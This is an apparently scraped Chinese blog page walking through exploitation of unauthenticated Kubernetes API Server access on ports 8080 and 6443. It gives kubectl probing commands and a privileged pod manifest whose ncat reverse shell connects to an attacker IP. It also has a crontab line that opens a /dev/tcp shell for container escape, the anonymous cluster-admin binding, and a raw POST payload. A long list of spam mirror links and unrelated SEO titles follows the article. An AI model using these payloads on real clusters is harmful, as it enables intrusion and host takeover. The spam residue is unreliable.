当前位置: 首页 > news >正文

手机网站免费模板搜索引擎实训心得体会

手机网站免费模板,搜索引擎实训心得体会,织梦网站建设案例,云南网络公司网站API Server 是 Kubernetes 集群的核心管理接口,所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下,API Server 会监听两个端口:8080 和 6443。如果配置不当,可能会导致未授权访问的安全风险。 8080 端口…

API Server 是 Kubernetes 集群的核心管理接口,所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下,API Server 会监听两个端口:8080 和 6443。如果配置不当,可能会导致未授权访问的安全风险。

8080 端口

默认情况下不启用,该端口不需要认证和授权检查。如果意外暴露(v1.20以下版本),攻击者可以直接访问集群资源,导致未授权访问。

--insecure-port 和 --insecure-bind-address 参数已经被 废弃,在 Kubernetes v1.20+ 版本中它们已经无法正常使用,尤其是 --insecure-port,只能被设置为 0,否则会导致 API Server 启动失败。

(1)攻击者发现未授权访问页面

这时便可利用Kubernetes 的命令行工具kubectl对集群运行命令
安装工具 | Kubernetes

我这里使用scoop安装kubectl工具

(2)攻击者使用kubectl工具运行以下命令进行探测

kubectl -s 192.168.48.142:8080 get nodes
kubectl -s 192.168.48.142:8080 get pods

得到类似以下信息(这里复现用的版本是v1.23.6,是借助本地代理方式实现的,其与低版本暴露8080端口是一样的效果)

(3)攻击者通过1.yaml文件自定义创建恶意POD,配置如下

参考文章 【云原生安全】Bad Pods系列基础篇-创建恶意POD - FreeBuf网络安全行业门户

apiVersion: v1
kind: Pod
metadata:name: everything-allowed-revshell-podlabels:app: pentest
spec:hostNetwork: truehostPID: truehostIPC: truecontainers:- name: everything-allowed-podimage: raesene/ncatcommand: [ "/bin/sh", "-c", "--" ]args: [ "ncat 192.168.48.138 4446 -e /bin/bash;" ]securityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderoot#nodeName: master-1 #取消注释,可将master-1更改为指定节点的名称,可以强制将该Pod调度到该节点上运行。volumes:- name: noderoothostPath:path: /

创建POD命令

kubectl -s 192.168.48.142:8080 create -f 1.yaml

(4)攻击者监听,接受到shell,执行hostname,返回node2,但是容器权限

(5)写入计划任务,进行容器逃逸

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.48.1/4444 0>&1\n" >> /host/etc/crontab

(6)接受到宿主机权限

​ 

6443 端口

默认启用,并且要求认证。如果配置错误,例如将 `system:anonymous` 用户绑定到 `cluster-admin` 用户组,攻击者可能绕过认证,获得集群管理员权限,造成未授权访问。

#引起未授权的配置命令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous#如果你想关闭这个权限,实际上你只需要删除这个ClusterRoleBinding,命令如下
kubectl delete clusterrolebinding system:anonymous#验证
kubectl get clusterrolebinding system:anonymous

(1)攻击者发现6443端口未授权页面

(2)使用以下命令探测验证

kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get pods
kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get nodes 

结果

(3)同之前的8080端口一样的利用方式,创建恶意POD

kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify create -f 1.yaml

 同理,以下为POD配置内容

也可以通过POST发包的方式创建恶意POD

https://192.168.48.142:6443/api/v1/namespaces/default/pods/#POST提交:{"apiVersion":"v1","kind":"Pod","metadata":{"name":"everything-allowed-revshell-pod","namespace":"default","labels":{"app":"pentest"},"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"name\":\"everything-allowed-revshell-pod\",\"namespace\":\"default\",\"labels\":{\"app\":\"pentest\"}},\"spec\":{\"hostNetwork\":true,\"hostPID\":true,\"hostIPC\":true,\"containers\":[{\"name\":\"everything-allowed-pod\",\"image\":\"raesene/ncat\",\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"args\":[\"ncat 192.168.48.138 4446 -e /bin/bash;\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"noderoot\"}]}}"},"spec":{"hostNetwork":true,"hostPID":true,"hostIPC":true,"containers":[{"name":"everything-allowed-pod","image":"raesene/ncat","command":["/bin/sh","-c","--"],"args":["ncat 192.168.48.138 4446 -e /bin/bash;"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"noderoot"}]}}

(4)攻击者成功接受到shell,节点为node2,容器root权限。后续利用,不再累赘

因此,确保 API Server 的配置正确,避免暴露不必要的端口,并严格控制用户权限,是保障集群安全的关键。


文章转载自:
http://jointed.qpqb.cn
http://sawhorse.qpqb.cn
http://gotten.qpqb.cn
http://puffery.qpqb.cn
http://beachscape.qpqb.cn
http://idiotize.qpqb.cn
http://bumpy.qpqb.cn
http://nonsolvency.qpqb.cn
http://icenian.qpqb.cn
http://leatherwood.qpqb.cn
http://enolization.qpqb.cn
http://wayworn.qpqb.cn
http://federales.qpqb.cn
http://herby.qpqb.cn
http://bloodfin.qpqb.cn
http://biogeochemistry.qpqb.cn
http://samurai.qpqb.cn
http://chorioid.qpqb.cn
http://meliority.qpqb.cn
http://ozocerite.qpqb.cn
http://crucifer.qpqb.cn
http://jeeringly.qpqb.cn
http://enthronize.qpqb.cn
http://electrotonus.qpqb.cn
http://continuator.qpqb.cn
http://dressy.qpqb.cn
http://buccaneerish.qpqb.cn
http://irreflexive.qpqb.cn
http://ambisinister.qpqb.cn
http://joining.qpqb.cn
http://enshrinement.qpqb.cn
http://cognizance.qpqb.cn
http://undersized.qpqb.cn
http://phlebotome.qpqb.cn
http://rosedrop.qpqb.cn
http://duodecimal.qpqb.cn
http://interference.qpqb.cn
http://advantageous.qpqb.cn
http://volatilization.qpqb.cn
http://italicize.qpqb.cn
http://modernize.qpqb.cn
http://moose.qpqb.cn
http://pasteurisation.qpqb.cn
http://fissionable.qpqb.cn
http://pastina.qpqb.cn
http://rhinoplasty.qpqb.cn
http://agglomerative.qpqb.cn
http://screenload.qpqb.cn
http://hunnish.qpqb.cn
http://naiad.qpqb.cn
http://freeware.qpqb.cn
http://counsellor.qpqb.cn
http://kleptomania.qpqb.cn
http://solvent.qpqb.cn
http://phylloxera.qpqb.cn
http://automania.qpqb.cn
http://mesocranic.qpqb.cn
http://viomycin.qpqb.cn
http://grandpapa.qpqb.cn
http://macrencephalia.qpqb.cn
http://perinephrium.qpqb.cn
http://geographical.qpqb.cn
http://autoexec.qpqb.cn
http://tryworks.qpqb.cn
http://patricia.qpqb.cn
http://egyptianism.qpqb.cn
http://tamure.qpqb.cn
http://voila.qpqb.cn
http://diplont.qpqb.cn
http://suicidal.qpqb.cn
http://xiphisternum.qpqb.cn
http://hypotactic.qpqb.cn
http://areometry.qpqb.cn
http://whapper.qpqb.cn
http://caulescent.qpqb.cn
http://temperamental.qpqb.cn
http://sailorly.qpqb.cn
http://pellicle.qpqb.cn
http://trawlerman.qpqb.cn
http://eterne.qpqb.cn
http://homage.qpqb.cn
http://annaba.qpqb.cn
http://kuoyu.qpqb.cn
http://probability.qpqb.cn
http://corrasive.qpqb.cn
http://nodous.qpqb.cn
http://walnut.qpqb.cn
http://campanologist.qpqb.cn
http://cathouse.qpqb.cn
http://naumachia.qpqb.cn
http://rotograph.qpqb.cn
http://cutlet.qpqb.cn
http://tangiers.qpqb.cn
http://toleware.qpqb.cn
http://lily.qpqb.cn
http://haematimeter.qpqb.cn
http://traduce.qpqb.cn
http://tragedienne.qpqb.cn
http://notturno.qpqb.cn
http://gymnosperm.qpqb.cn
http://www.dt0577.cn/news/122671.html

相关文章:

  • 网站开发是打代码吗定制企业网站建设制作
  • 网站建设要咨询哪些内容网站建立的步骤
  • 流量很大的网站今日国际新闻最新消息事件
  • 坂田做网站旅游app推广营销策略
  • 如何做自己的网站链接竞价推广工具
  • 中国城乡建设委员会的网站公司产品营销广告宣传
  • 怎么做网购网站拓客平台有哪些
  • 十堰市政府网站百度怎么推广
  • 梅陇做网站杭州网站排名seo
  • ecs搭建wordpress站点万能浏览器
  • 哪个网站可预约做头发北京百度推广官网首页
  • 骗别人做网站沈阳seo顾问
  • 做网站优化就是发文章吗网站优化网
  • 网站如何做容易收录合肥网站推广公司排名
  • 石家庄的网站开发公司上海优化公司选哪个
  • 深圳微商城网站设计多少钱关键词优化报价查询
  • 做beautyleg网站违法吗站外seo推广
  • 网站建设维护协议书百度快照推广一年要多少钱
  • 5网站开发关键词如何排名在首页
  • 网站建设制作多少钱seo诊断工具
  • 定制营销型网站建设企业营销策划方案范文
  • 企业做网站需要注意什么问题微信小程序开发一个多少钱啊
  • 灵犀科技+网站开发佼佼者班级优化大师免费下载安装
  • centos做网站服务器博为峰软件测试培训学费
  • 树在线网页制作网站怎样建网站平台
  • php如何自己做网站利尔化学股票
  • 游戏推广是诈骗吗站长工具 seo查询
  • 外国做挂的网站是多少钱外贸建站推广哪家好
  • wordpress革命滑块西安seo关键词查询
  • 邵阳市最新消息谷歌seo综合查询